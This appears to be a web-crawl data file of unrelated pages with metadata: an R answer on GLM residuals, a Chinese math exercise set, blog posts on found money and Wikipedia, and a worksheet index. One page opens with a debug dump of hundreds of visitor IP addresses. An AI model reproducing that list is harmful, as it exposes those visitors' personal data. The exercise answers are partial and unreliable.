] | {"ft_lang_label":"__label__en","ft_lang_prob":0.62158376,"math_prob":0.9970044,"size":15338,"snap":"2020-24-2020-29","text_gpt3_token_len":4483,"char_repetition_ratio":0.116929695,"word_repetition_ratio":0.019607844,"special_character_ratio":0.33817968,"punctuation_ratio":0.1790059,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9998685,"pos_list":[0,1,2,3,4,5,6,7,8],"im_url_duplicate_count":[null,2,null,2,null,2,null,2,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-06-02T01:38:35Z\",\"WARC-Record-ID\":\"<urn:uuid:a9499aa1-9e41-436d-aa6c-7c0b9d5303fa>\",\"Content-Length\":\"75837\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:ff7967f8-9c71-4f02-b4b3-762b64dbc9c3>\",\"WARC-Concurrent-To\":\"<urn:uuid:f5d76133-6093-4cfd-ad49-26d6fd65798b>\",\"WARC-IP-Address\":\"104.17.32.82\",\"WARC-Target-URI\":\"http://docs.qulacs.org/en/latest/apply/5.2_qcl.html\",\"WARC-Payload-Digest\":\"sha1:XTJP22X6TLUINFLDZXHAEUX7RVYAICEO\",\"WARC-Block-Digest\":\"sha1:Q5WLRE224R2MODJDBQB3AR6H4NWR3FAY\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-24/CC-MAIN-2020-24_segments_1590347422065.56_warc_CC-MAIN-20200602002343-20200602032343-00094.warc.gz\"}"} |
https://stats.stackexchange.com/questions/27017/visualising-generalized-linear-model | [
"# Visualising generalized linear model\n\nWhat kind of plot are normally used in Generalized linear model and what are their interpretations?\n\nEspecially for Standardized deviance residual vs fitted value plot, what can we see from the plot?\n\nDiagnostics in the generalized linear model. The two basic types of residuals are the so-called Pearson residuals and deviance residuals. Pearson residuals are based on the difference between observed responses and the predicted values; deviance residuals are based on the contribution of the observed responses to the log-likelihood statistic. In addition, leverage scores, studentized residuals, generalized Cook's D, and other observational statistics (statistics based on individual observations) can be computed. For a description and discussion of these statistics, see Hosmer and Lemeshow (1989).\n\nIf you are using R:\n\nlrfit <- glm( cbind(using,notUsing) ~ age * noMore + hiEduc , family=binomial)\nsummary(lrfit)\nplot(lrfit)\n\n\nQuoted from Germán Rodríguez:\n\nR follows the popular custom of flagging significant coefficients with one, two or three stars depending on their p-values. Try plot(lrfit). You get the same plots as in a linear model, but adapted to a generalized linear model; for example the residuals plotted are deviance residuals (the square root of the contribution of an observation to the deviance, with the same sign as the raw residual).\n\nThe functions that can be used to extract results from the fit include\n\n• residuals or resid, for the deviance residuals\n• fitted or fitted.values, for the fitted values (estimated probabilities)\n• predict, for the linear predictor (estimated logits)\n• coef or coefficients, for the coefficients, and\n• deviance, for the deviance.\n\nSome of these functions have optional arguments; for example, you can extract five different types of residuals, called \"deviance\", \"pearson\", \"response\" (response - fitted value), \"working\" (the working dependent variable in the IRLS algorithm - linear predictor), and \"partial\" (a matrix of working residuals formed by omitting each term in the model). You specify the one you want using the type argument, for example residuals(lrfit,type=\"pearson\").\n\nDepending on your type of study, there might be corrections to apply."
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.8853161,"math_prob":0.9272365,"size":2659,"snap":"2020-34-2020-40","text_gpt3_token_len":564,"char_repetition_ratio":0.13446328,"word_repetition_ratio":0.13965087,"special_character_ratio":0.19669048,"punctuation_ratio":0.12418301,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99183524,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-08-06T01:31:35Z\",\"WARC-Record-ID\":\"<urn:uuid:26f85f13-a353-4f3d-9eeb-0fdafca5d1b2>\",\"Content-Length\":\"146314\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:958e06c2-ace4-4ec0-a58b-2fa721a4e64f>\",\"WARC-Concurrent-To\":\"<urn:uuid:a4043d70-a186-4e27-b538-c2c53923a863>\",\"WARC-IP-Address\":\"151.101.65.69\",\"WARC-Target-URI\":\"https://stats.stackexchange.com/questions/27017/visualising-generalized-linear-model\",\"WARC-Payload-Digest\":\"sha1:PV3MJ45Z2NRO3AXMY5KK32FG7VLNS2E2\",\"WARC-Block-Digest\":\"sha1:HPYVASSI2RU6OKJN55VBFJHEJOBDVJYY\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-34/CC-MAIN-2020-34_segments_1596439735990.92_warc_CC-MAIN-20200806001745-20200806031745-00315.warc.gz\"}"} |
https://m.03964.com/read/302366012fced8037c103ec7.html | [
"# 高中数学必修1-数学基础知识试题及答案\n\n1．已知集合 M ? ? {4,7,8},且 M 中至多有一个偶数,则这样的集合共有 (A)3 个 (B) 4 个 (C) 5 个 2．已知 S={x|x=2n,n∈Z}, T={x|x=4k±1,k∈Z},则 (A)S ? ?T (B) T ? ?S (C)S≠T (D) 6 个 （ (D)S=T ） ( )\n\n2 3．已知集合 P= y | y ? ? x ? 2, x ? R ， Q= ? y | y ? ?x ? 2, x ? R? ，那么 P\n\n?\n\n?\n\nQ 等（\n\n(A)（0，2） ， （1，1）\n2\n\n(B){（0，2 ） ， （1，1）} (C){1，2} (D) ? y | y ? 2? （ (D) a ? 0 （ ( D)3 （ (D)[0,2] （ (D).k< ? ） ） ）\n\n4．不等式 ax ? ax ? 4 ? 0 的解集为 R，则 a 的取值范围是 (A) ? 16 ? a ? 0 5. 已知 f ( x ) = ? (A)2 (B) a ? ?16 (C) ? 16 ? a ? 0\n\n? x ? 5( x ? 6) ，则 f (3) 的值为 ? f ( x ? 4)( x ? 6)\n(B)5 (C)4\n\n6.函数 y ? x2 ? 4x ? 3, x ?[0,3] 的值域为 (A)[0,3] (B)[-1,0] (C)[-1,3] 7．函数 y=(2k+1)x+b 在(-∞,+∞)上是减函数，则 (A)k>\n\n1 2\n2\n\n(B)k<\n\n1 2\n\n(C)k> ?\n\n1 2\n\n1 2\n\n8.若函数 f(x)= x +2(a-1)x+2 在区间 ( ??, 4] 内递减，那么实数 a 的取值范围为（ (A)a≤-3\n2\n\n(B)a≥-3\nx\n\n(C)a≤5\n\n(D)a≥3 （ ( D) ）\n\n9．函数 y ? (2a ? 3a ? 2)a 是指数函数，则 a 的取值范围是 (A) a ? 0, a ? 1 10．已知函数 f(x) ? 4 ? a （A） （ 1，5 ） 11.函数 y ?\n2\n\n(B) a ? 1\nx ?1\n\n(C)\n\na?1 2\n\na ? 1或a ? 1 2\n（ ）\n\n（D） （ 4，0） （ ）\n\nlog 1 (3 x ? 2) 的定义域是\n\n1\n\n（A）[1,+ ? ]\n\n(B) ( 2 3 , ??)\n\n(C) [ 2 3 ,1]\n\n(D) ( 2 3 ,1] （ (D)\n2 c 2 ?1 a ?b\n\n12.设 a,b,c 都是正数， 且 3a ? 4b ? 6c ，则下列正确的是 (A)\n1 c 1 ?1 a ?b\n\n(B)\n\n2 C\n\n2 1 ?a ?b\n\n(C)\n\n1 C\n\n2 2 ?a ?b\n\n13． 已知 （x,y） 在映射 f 下的象是(x-y,x+y)， 则(3,5)在 f 下的象是 14．已知函数 f(x)的定义域为[0,1],则 f( x )的定义域为 15.若 loga 2 <1, 则 a 的取值范围是 3 16．函数 f(x)=log 1 (x-x )的单调递增区间是 2\n2\n\n， 原象是 。\n\n2\n\n2 17．对于函数 f ? x ? ? ax ? bx ? ?b ?1? （ a ? 0 ） ．\n\n（Ⅰ）当 a ? 1, b ? ?2 时，求函数 f ( x ) 的零点； （Ⅱ）若对任意实数 b ，函数 f ( x ) 恒有两个相异的零点，求实数 a 的取值范围．\n\n2\n\n18. 求函数 y ? ? x 2 ? 4 x ? 5 的单调递增区间。\n\n19. 已知函数 f ( x ) 是定义域在 R 上的奇函数，且在区间 (?? , 0) 上单调递减， 求满足 f(x +2x-3)＞f(-x -4x+5)的 x 的集合．\n2 2\n\n20.已知集合 A ? {x | x 2 ? 3x ? 2 ? 0} ， B ? {x | x 2 ? 2(a ? 1) x ? (a 2 ? 5) ? 0} ， （1）若 A ? B ? {2} ，求实数 a 的值； （2）若 A ? B ? A ，求实数 a 的取值范围；\n\n3\n\nx2 ? 2x ? 3 ? ( x ? 1)2 ? 2 ? 0 ， x2 ? 4x ? 5 ? ( x ? 2)2 ? 1 ? 0 2 2 ? x ? ?1 由 f ( x2 ? 2x ? 3) ? f ( x2 ? 4 x ? 5) 得 x ? 2 x ? 3 ? x ? 4 x ? 5 ? 解集为 {x | x ? ?1} . 20.(1) a ? ?1 或 a ? ?3 (2)当 A ? B ? A 时, B ? A ,从而 B 可能 是: ?,?1 ?,?2?,?1,2? ．分别求解，得 a ? ?3 ；\n\n4"
] | [
null
] | {"ft_lang_label":"__label__zh","ft_lang_prob":0.97543764,"math_prob":0.9994304,"size":2513,"snap":"2019-35-2019-39","text_gpt3_token_len":1940,"char_repetition_ratio":0.104424074,"word_repetition_ratio":0.035961274,"special_character_ratio":0.69120574,"punctuation_ratio":0.25291005,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9751454,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-09-16T12:09:27Z\",\"WARC-Record-ID\":\"<urn:uuid:2e288600-072c-496a-8b57-d4bd33aac4d5>\",\"Content-Length\":\"10548\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:833412ee-26b0-422a-9231-04e1368fd66e>\",\"WARC-Concurrent-To\":\"<urn:uuid:f808fd9a-e6f8-48b5-8eb4-a3feaa1b1e96>\",\"WARC-IP-Address\":\"27.124.42.168\",\"WARC-Target-URI\":\"https://m.03964.com/read/302366012fced8037c103ec7.html\",\"WARC-Payload-Digest\":\"sha1:BYI4ZSLNKZH763ERFCFWUO3FQOYPLWV2\",\"WARC-Block-Digest\":\"sha1:I6G54HXFWT62572KP3RVDH6EHE2Y6HFW\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-39/CC-MAIN-2019-39_segments_1568514572556.54_warc_CC-MAIN-20190916120037-20190916142037-00332.warc.gz\"}"} |
https://homebody.savingadvice.com/2006/08/31/its-my-turn_13729/ | [
"User Real IP - 3.237.71.23\n```Array\n(\n => Array\n(\n => 182.68.68.92\n)\n\n => Array\n(\n => 101.0.41.201\n)\n\n => Array\n(\n => 43.225.98.123\n)\n\n => Array\n(\n => 2.58.194.139\n)\n\n => Array\n(\n => 46.119.197.104\n)\n\n => Array\n(\n => 45.249.8.93\n)\n\n => Array\n(\n => 103.12.135.72\n)\n\n => Array\n(\n => 157.35.243.216\n)\n\n => Array\n(\n => 209.107.214.176\n)\n\n => Array\n(\n => 5.181.233.166\n)\n\n => Array\n(\n => 106.201.10.100\n)\n\n => Array\n(\n => 36.90.55.39\n)\n\n => Array\n(\n => 119.154.138.47\n)\n\n => Array\n(\n => 51.91.31.157\n)\n\n => Array\n(\n => 182.182.65.216\n)\n\n => Array\n(\n => 157.35.252.63\n)\n\n => Array\n(\n => 14.142.34.163\n)\n\n => Array\n(\n => 178.62.43.135\n)\n\n => Array\n(\n => 43.248.152.148\n)\n\n => Array\n(\n => 222.252.104.114\n)\n\n => Array\n(\n => 209.107.214.168\n)\n\n => Array\n(\n => 103.99.199.250\n)\n\n => Array\n(\n => 178.62.72.160\n)\n\n => Array\n(\n => 27.6.1.170\n)\n\n => Array\n(\n => 182.69.249.219\n)\n\n => Array\n(\n => 110.93.228.86\n)\n\n => Array\n(\n => 72.255.1.98\n)\n\n => Array\n(\n => 182.73.111.98\n)\n\n => Array\n(\n => 45.116.117.11\n)\n\n => Array\n(\n => 122.15.78.189\n)\n\n => Array\n(\n => 14.167.188.234\n)\n\n => Array\n(\n => 223.190.4.202\n)\n\n => Array\n(\n => 202.173.125.19\n)\n\n => Array\n(\n => 103.255.5.32\n)\n\n => Array\n(\n => 39.37.145.103\n)\n\n => Array\n(\n => 140.213.26.249\n)\n\n => Array\n(\n => 45.118.166.85\n)\n\n => Array\n(\n => 102.166.138.255\n)\n\n => Array\n(\n => 77.111.246.234\n)\n\n => Array\n(\n => 45.63.6.196\n)\n\n => Array\n(\n => 103.250.147.115\n)\n\n => Array\n(\n => 223.185.30.99\n)\n\n => Array\n(\n => 103.122.168.108\n)\n\n => Array\n(\n => 123.136.203.21\n)\n\n => Array\n(\n => 171.229.243.63\n)\n\n => Array\n(\n => 153.149.98.149\n)\n\n => Array\n(\n => 223.238.93.15\n)\n\n => Array\n(\n => 178.62.113.166\n)\n\n => Array\n(\n => 101.162.0.153\n)\n\n => Array\n(\n => 121.200.62.114\n)\n\n => Array\n(\n => 14.248.77.252\n)\n\n => Array\n(\n => 95.142.117.29\n)\n\n => Array\n(\n => 150.129.60.107\n)\n\n => Array\n(\n => 94.205.243.22\n)\n\n => Array\n(\n => 115.42.71.143\n)\n\n => Array\n(\n => 117.217.195.59\n)\n\n => Array\n(\n => 182.77.112.56\n)\n\n => Array\n(\n => 182.77.112.108\n)\n\n => Array\n(\n => 41.80.69.10\n)\n\n => Array\n(\n => 117.5.222.121\n)\n\n => Array\n(\n => 103.11.0.38\n)\n\n => Array\n(\n => 202.173.127.140\n)\n\n => Array\n(\n => 49.249.249.50\n)\n\n => Array\n(\n => 116.72.198.211\n)\n\n => Array\n(\n => 223.230.54.53\n)\n\n => Array\n(\n => 102.69.228.74\n)\n\n => Array\n(\n => 39.37.251.89\n)\n\n => Array\n(\n => 39.53.246.141\n)\n\n => Array\n(\n => 39.57.182.72\n)\n\n => Array\n(\n => 209.58.130.210\n)\n\n => Array\n(\n => 104.131.75.86\n)\n\n => Array\n(\n => 106.212.131.255\n)\n\n => Array\n(\n => 106.212.132.127\n)\n\n => Array\n(\n => 223.190.4.60\n)\n\n => Array\n(\n => 103.252.116.252\n)\n\n => Array\n(\n => 103.76.55.182\n)\n\n => Array\n(\n => 45.118.166.70\n)\n\n => Array\n(\n => 103.93.174.215\n)\n\n => Array\n(\n => 5.62.62.142\n)\n\n => Array\n(\n => 182.179.158.156\n)\n\n => Array\n(\n => 39.57.255.12\n)\n\n => Array\n(\n => 39.37.178.37\n)\n\n => Array\n(\n => 182.180.165.211\n)\n\n => Array\n(\n => 119.153.135.17\n)\n\n => Array\n(\n => 72.255.15.244\n)\n\n => Array\n(\n => 139.180.166.181\n)\n\n => Array\n(\n => 70.119.147.111\n)\n\n => Array\n(\n => 106.210.40.83\n)\n\n => Array\n(\n => 14.190.70.91\n)\n\n => Array\n(\n => 202.125.156.82\n)\n\n => Array\n(\n => 115.42.68.38\n)\n\n => Array\n(\n => 102.167.13.108\n)\n\n => Array\n(\n => 117.217.192.130\n)\n\n => Array\n(\n => 205.185.223.156\n)\n\n => Array\n(\n => 171.224.180.29\n)\n\n => Array\n(\n => 45.127.45.68\n)\n\n => Array\n(\n => 195.206.183.232\n)\n\n => Array\n(\n => 49.32.52.115\n)\n\n => Array\n(\n => 49.207.49.223\n)\n\n => Array\n(\n => 45.63.29.61\n)\n\n => Array\n(\n => 103.245.193.214\n)\n\n => Array\n(\n => 39.40.236.69\n)\n\n => Array\n(\n => 62.80.162.111\n)\n\n => Array\n(\n => 45.116.232.56\n)\n\n => Array\n(\n => 45.118.166.91\n)\n\n => Array\n(\n => 180.92.230.234\n)\n\n => Array\n(\n => 157.40.57.160\n)\n\n => Array\n(\n => 110.38.38.130\n)\n\n => Array\n(\n => 72.255.57.183\n)\n\n => Array\n(\n => 182.68.81.85\n)\n\n => Array\n(\n => 39.57.202.122\n)\n\n => Array\n(\n => 119.152.154.36\n)\n\n => Array\n(\n => 5.62.62.141\n)\n\n => Array\n(\n => 119.155.54.232\n)\n\n => Array\n(\n => 39.37.141.22\n)\n\n => Array\n(\n => 183.87.12.225\n)\n\n => Array\n(\n => 107.170.127.117\n)\n\n => Array\n(\n => 125.63.124.49\n)\n\n => Array\n(\n => 39.42.191.3\n)\n\n => Array\n(\n => 116.74.24.72\n)\n\n => Array\n(\n => 46.101.89.227\n)\n\n => Array\n(\n => 202.173.125.247\n)\n\n => Array\n(\n => 39.42.184.254\n)\n\n => Array\n(\n => 115.186.165.132\n)\n\n => Array\n(\n => 39.57.206.126\n)\n\n => Array\n(\n => 103.245.13.145\n)\n\n => Array\n(\n => 202.175.246.43\n)\n\n => Array\n(\n => 192.140.152.150\n)\n\n => Array\n(\n => 202.88.250.103\n)\n\n => Array\n(\n => 103.248.94.207\n)\n\n => Array\n(\n => 77.73.66.101\n)\n\n => Array\n(\n => 104.131.66.8\n)\n\n => Array\n(\n => 113.186.161.97\n)\n\n => Array\n(\n => 222.254.5.7\n)\n\n => Array\n(\n => 223.233.67.247\n)\n\n => Array\n(\n => 171.249.116.146\n)\n\n => Array\n(\n => 47.30.209.71\n)\n\n => Array\n(\n => 202.134.13.130\n)\n\n => Array\n(\n => 27.6.135.7\n)\n\n => Array\n(\n => 107.170.186.79\n)\n\n => Array\n(\n => 103.212.89.171\n)\n\n => Array\n(\n => 117.197.9.77\n)\n\n => Array\n(\n => 122.176.206.233\n)\n\n => Array\n(\n => 192.227.253.222\n)\n\n => Array\n(\n => 182.188.224.119\n)\n\n => Array\n(\n => 14.248.70.74\n)\n\n => Array\n(\n => 42.118.219.169\n)\n\n => Array\n(\n => 110.39.146.170\n)\n\n => Array\n(\n => 119.160.66.143\n)\n\n => Array\n(\n => 103.248.95.130\n)\n\n => Array\n(\n => 27.63.152.208\n)\n\n => Array\n(\n => 49.207.114.96\n)\n\n => Array\n(\n => 102.166.23.214\n)\n\n => Array\n(\n => 175.107.254.73\n)\n\n => Array\n(\n => 103.10.227.214\n)\n\n => Array\n(\n => 202.143.115.89\n)\n\n => Array\n(\n => 110.93.227.187\n)\n\n => Array\n(\n => 103.140.31.60\n)\n\n => Array\n(\n => 110.37.231.46\n)\n\n => Array\n(\n => 39.36.99.238\n)\n\n => Array\n(\n => 157.37.140.26\n)\n\n => Array\n(\n => 43.246.202.226\n)\n\n => Array\n(\n => 137.97.8.143\n)\n\n => Array\n(\n => 182.65.52.242\n)\n\n => Array\n(\n => 115.42.69.62\n)\n\n => Array\n(\n => 14.143.254.58\n)\n\n => Array\n(\n => 223.179.143.236\n)\n\n => Array\n(\n => 223.179.143.249\n)\n\n => Array\n(\n => 103.143.7.54\n)\n\n => Array\n(\n => 223.179.139.106\n)\n\n => Array\n(\n => 39.40.219.90\n)\n\n => Array\n(\n => 45.115.141.231\n)\n\n => Array\n(\n => 120.29.100.33\n)\n\n => Array\n(\n => 112.196.132.5\n)\n\n => Array\n(\n => 202.163.123.153\n)\n\n => Array\n(\n => 5.62.58.146\n)\n\n => Array\n(\n => 39.53.216.113\n)\n\n => Array\n(\n => 42.111.160.73\n)\n\n => Array\n(\n => 107.182.231.213\n)\n\n => Array\n(\n => 119.82.94.120\n)\n\n => Array\n(\n => 178.62.34.82\n)\n\n => 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47.8.181.232\n)\n\n => Array\n(\n => 182.66.2.92\n)\n\n => Array\n(\n => 49.34.137.220\n)\n\n => Array\n(\n => 209.205.217.125\n)\n\n => Array\n(\n => 192.64.5.73\n)\n\n => Array\n(\n => 27.63.166.108\n)\n\n => Array\n(\n => 120.29.96.211\n)\n\n => Array\n(\n => 182.186.112.135\n)\n\n => Array\n(\n => 45.118.165.151\n)\n\n => Array\n(\n => 47.8.228.12\n)\n\n => Array\n(\n => 106.215.3.162\n)\n\n => Array\n(\n => 111.92.72.66\n)\n\n => Array\n(\n => 169.145.2.9\n)\n\n => Array\n(\n => 106.207.205.100\n)\n\n => Array\n(\n => 223.181.8.12\n)\n\n => Array\n(\n => 157.48.149.78\n)\n\n => Array\n(\n => 103.206.138.116\n)\n\n => Array\n(\n => 39.53.119.22\n)\n\n => Array\n(\n => 157.33.232.106\n)\n\n => Array\n(\n => 49.37.205.139\n)\n\n => Array\n(\n => 115.42.68.3\n)\n\n => Array\n(\n => 93.72.182.251\n)\n\n => Array\n(\n => 202.142.166.22\n)\n\n => Array\n(\n => 157.119.81.111\n)\n\n => Array\n(\n => 182.186.116.155\n)\n\n => Array\n(\n => 157.37.171.37\n)\n\n => Array\n(\n => 117.206.164.48\n)\n\n => Array\n(\n => 49.36.52.63\n)\n\n => Array\n(\n => 203.175.72.112\n)\n\n => Array\n(\n => 171.61.132.193\n)\n\n => Array\n(\n => 111.119.187.44\n)\n\n => Array\n(\n => 39.37.165.216\n)\n\n => Array\n(\n => 103.86.109.58\n)\n\n => Array\n(\n => 39.59.2.86\n)\n\n => Array\n(\n => 111.119.187.28\n)\n\n => Array\n(\n => 106.201.9.10\n)\n\n => Array\n(\n => 49.35.25.106\n)\n\n => Array\n(\n => 157.49.239.103\n)\n\n => Array\n(\n => 157.49.237.198\n)\n\n => Array\n(\n => 14.248.64.121\n)\n\n => Array\n(\n => 117.102.7.214\n)\n\n => Array\n(\n => 120.29.91.246\n)\n\n => Array\n(\n => 103.7.79.41\n)\n\n => Array\n(\n => 132.154.99.209\n)\n\n => Array\n(\n => 212.36.27.245\n)\n\n => Array\n(\n => 157.44.154.9\n)\n\n => Array\n(\n => 47.31.56.44\n)\n\n => Array\n(\n => 192.142.199.136\n)\n\n => Array\n(\n => 171.61.159.49\n)\n\n => Array\n(\n => 119.160.116.151\n)\n\n => Array\n(\n => 103.98.63.39\n)\n\n => Array\n(\n => 41.60.233.216\n)\n\n => Array\n(\n => 49.36.75.212\n)\n\n => Array\n(\n => 223.188.60.20\n)\n\n => Array\n(\n => 103.98.63.50\n)\n\n => Array\n(\n => 178.162.198.21\n)\n\n => Array\n(\n => 157.46.209.35\n)\n\n => Array\n(\n => 119.155.32.151\n)\n\n => Array\n(\n => 102.185.58.161\n)\n\n => Array\n(\n => 59.96.89.231\n)\n\n => Array\n(\n => 119.155.255.198\n)\n\n => Array\n(\n => 42.107.204.57\n)\n\n => Array\n(\n => 42.106.181.74\n)\n\n => Array\n(\n => 157.46.219.186\n)\n\n => Array\n(\n => 115.42.71.49\n)\n\n => Array\n(\n => 157.46.209.131\n)\n\n => Array\n(\n => 220.81.15.94\n)\n\n => Array\n(\n => 111.119.187.24\n)\n\n => Array\n(\n => 49.37.195.185\n)\n\n => Array\n(\n => 42.106.181.85\n)\n\n => Array\n(\n => 43.249.225.134\n)\n\n => Array\n(\n => 117.206.165.151\n)\n\n => Array\n(\n => 119.153.48.250\n)\n\n => Array\n(\n => 27.4.172.162\n)\n\n => Array\n(\n => 117.20.29.51\n)\n\n => Array\n(\n => 103.98.63.135\n)\n\n => Array\n(\n => 117.7.218.229\n)\n\n => Array\n(\n => 157.49.233.105\n)\n\n => Array\n(\n => 39.53.151.199\n)\n\n => Array\n(\n => 101.255.118.33\n)\n\n => Array\n(\n => 41.141.246.9\n)\n\n => Array\n(\n => 221.132.113.78\n)\n\n => Array\n(\n => 119.160.116.202\n)\n\n => Array\n(\n => 117.237.193.244\n)\n\n => Array\n(\n => 157.41.110.145\n)\n\n => Array\n(\n => 103.98.63.5\n)\n\n => Array\n(\n => 103.125.129.58\n)\n\n => Array\n(\n => 183.83.254.66\n)\n\n => Array\n(\n => 45.135.236.160\n)\n\n => Array\n(\n => 198.199.87.124\n)\n\n => Array\n(\n => 193.176.86.41\n)\n\n => Array\n(\n => 115.97.142.98\n)\n\n => Array\n(\n => 222.252.38.198\n)\n\n => Array\n(\n => 110.93.237.49\n)\n\n => Array\n(\n => 103.224.48.122\n)\n\n => Array\n(\n => 110.38.28.130\n)\n\n => Array\n(\n => 106.211.238.154\n)\n\n => Array\n(\n => 111.88.41.73\n)\n\n => Array\n(\n => 119.155.13.143\n)\n\n => Array\n(\n => 103.213.111.60\n)\n\n => Array\n(\n => 202.0.103.42\n)\n\n => Array\n(\n => 157.48.144.33\n)\n\n => Array\n(\n => 111.119.187.62\n)\n\n)\n```\nIt's My Turn!: Homebody Getting Back to My Roots\n << Back to all Blogs Login or Create your own free blog Layout: Blue and Brown (Default) Author's Creation\nHome > It's My Turn!",
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"# It's My Turn!\n\nAugust 31st, 2006 at 09:25 pm\n\nI read about people finding money and think why not me?? Well today I am cleaning off my desk and find a Christmas card from my mother with \\$25.00 in it! I think I am going to hide it in my drawer!\n\n### 5 Responses to “It's My Turn!”\n\n1. LuxLiving Says:\n\nOhhh - that way you get to find it again later! How Smart!! and Fun! Hope this is your desk at home and not at work where anyone else could find it!\n\n2. yummy64 Says:\n\nOoh you are \\$25 richer! If you hide it and then find it again in a few months will you be \\$50 richer then?\n\nSeriously, use it to pay down debt if you have any. Or toward opening a savings account.\n\n3. baselle Says:\n\nAnd best of all, you found it when you were in savings mode, rather than spending mode.\n\n4. homebody Says:\n\nI work at home, but I meant to say dresser drawer in my bedroom. I am just going to keep it in there for when I need cash for something, or perhaps I will start stashing in there and put it towards savings or debt. I can't decide right now!!??!!\n\n5. Broken Arrow Says:\n\nI want to find money I didn't know I had!\n\n(Note: If you were logged in, we could automatically fill in these fields for you.)\n Name: * Email: Will not be published. Subscribe: Notify me of additional comments to this entry. URL: Verification: * Please spell out the number 4. [ Why? ]\n\nvB Code: You can use these tags: [b] [i] [u] [url] [email]"
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https://www.intmath.com/blog/learning/wikipedia-banned-541 | [
"# Wikipedia - banned?\n\nBy Murray Bourne, 12 Feb 2007\n\nRecently there was some chatter on one of the teachers' listservs that I subscribe to about Wikipedia.\n\nA lecturer said that her students are banned from using Wikipedia for their research because it has not been reviewed by an editor (like a \"real\" encyclopedia is).\n\nThis got me thinking. Actually, Wikipedia is reviewed in a sense, because anyone who goes there and finds an article that is not quite right, can edit it.\n\nI will often go to Wikipedia as a starting point when reading up on something and I always find that it is valuable. I will use other sources, of course, just like you would if you were to start your research with a real encyclopedia.\n\nI don't think it is right to ban it, but it is important that students (and lecturers) know who writes it.\n\nBe the first to comment below.\n\n### Comment Preview\n\nHTML: You can use simple tags like <b>, <a href=\"...\">, etc.\n\nTo enter math, you can can either:\n\n1. Use simple calculator-like input in the following format (surround your math in backticks, or qq on tablet or phone):\na^2 = sqrt(b^2 + c^2)\n(See more on ASCIIMath syntax); or\n2. Use simple LaTeX in the following format. Surround your math with $$ and $$.\n$$\\int g dx = \\sqrt{\\frac{a}{b}}$$\n(This is standard simple LaTeX.)\n\nNOTE: You can mix both types of math entry in your comment.\n\n## Subscribe\n\n* indicates required"
] | [
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https://erp.spuvvn.edu/pdf/inverse-relations-and-functions-practice-form.html | [
"# Inverse Relations And Functions Practice Form Free Books\n\nWORKSHEET 7.4 INVERSE FUNCTIONS Inverse Relations Find …WORKSHEET 7.4 INVERSE FUNCTIONS Inverse Relations Find The Inverse For Each Relation. 1. { (1, -3), (-2, 3), (5 7th, 2022WORKSHEET 7.4 INVERSE FUNCTIONS Inverse Relations …WORKSHEET 7.4 INVERSE FUNCTIONS Inverse Relations Find The Inverse For Each Relation. 1. { (1, -3), (-2, 3), (5, 1), (6, 4) } 2. { (-5, 7), (-6, -8), (1, -2), (10, 3) } Finding Inverses Find An Equation For The Inverse For Each Of The Following Relations. 3. Y 3x 2 4. Y 5x 7 5. Y 12x 3 6. Y 8x 16 7. X 5 3 2 7th, 20227 2 Skills Practice Inverse Functions And Relations WorksheetInverse Operations In Math: Definition & Examples - Video Aug 31, 2021 · The Next Step Is To Divide Both Sides By 2, Since Division Is The Opposite Of Multiplication. 2x / 2 = 14 / 2. This Gives You X = 7. The Answer To This Problem Is X = 7. Functional Skills Maths Level 2 | Pass Functiona 2th, 2022.\n§1.5 Inverse Functions (without Log And Inverse Trig)MA 113 Fall 2016 Date Topic Due Dates Wed, Aug 24 Intro To MA 113 And §1.1 – 1.3 Functions Thu, Aug 25 Worksheet 1 Fri, Aug 26 §1.5 Inverse Functions (without Log And Inverse Trig) Mon, Aug 29 §1.4-1.5 Exponential And Logarithmic Functions Tue, Aug 30 Worksheet 2 Wed, Aug 31 Appe 20th, 2022CALCULUS Derivatives Of Inverse Functions (The Inverse ...[arcsin X] + —[arccosx] — Dc Dc D D 2 THEREFORE RECALL [arcsin X] + [arccosx] — —1,1 (DERIVATIVES OF) §4.10, P. 89 INVERSE TRIGONOMETRIC FUNCTIONS By Implicit Differentiation . You 16th, 20221-7 Inverse Relations And FunctionsG(x) = í3x4 + 6 X2 ± X 62/87,21 The Graph Of G(x) = í3x4 + 6 X2 ± X Below Shows That It Is Possible To Find A Horizontal Line That Intersects The Graph Of G(x) More Than Once. Therefore, You Can Conclude That An Inverse Function Does Not Exist. F(x) = 4 X5 ± 8x4 62/87,21 The Graph Of F(x) = 4 10th, 2022.\nInverse Relations And Functions Worksheet Answers 1-7Inverse Relations And Functions Worksheet Answers 1-7 If You're Seeing This Message, It Means We're Having Trouble Loading External Resources On Our Website. If You're Behind A Web Filter, Please Make Sure That The Domains *.kastatic.org And *.kasandbox.org Are Unblocked. Some Of The Worksheets Below Are Inverse Funct 17th, 2022Worksheet # 1: Functions And Inverse FunctionsWorksheet # 3: The Exponential Function And The Logarithm 1.(a)Graph The Functions F(x) = 2x And G(x) = 2 X And Give The Domains And Range Of Each Function. (b)Determine If Each Function Is One-to-one. Determine If Each Function Is Increasing Or Decreasing. (c)Graph The Inverse Function 3th, 20227.2 One-to-One And Onto Functions; Inverse FunctionsIf F : A !B Is A Bijective Function Then There Is A Unique Function Called The Inverse Function Of F And Denoted By F 1, Such That F 1(y) = X ,f(x) = Y: Example Find The Inverse Functions Of The Bijective Functions From The Previous Examples. 7.2 One-to-One And Onto Functions; Inverse Functions … 14th, 2022.\nChapter 1. Functions 1.6. Inverse Functions And Logarithms1.6 Inverse Functions And Logarithms 2 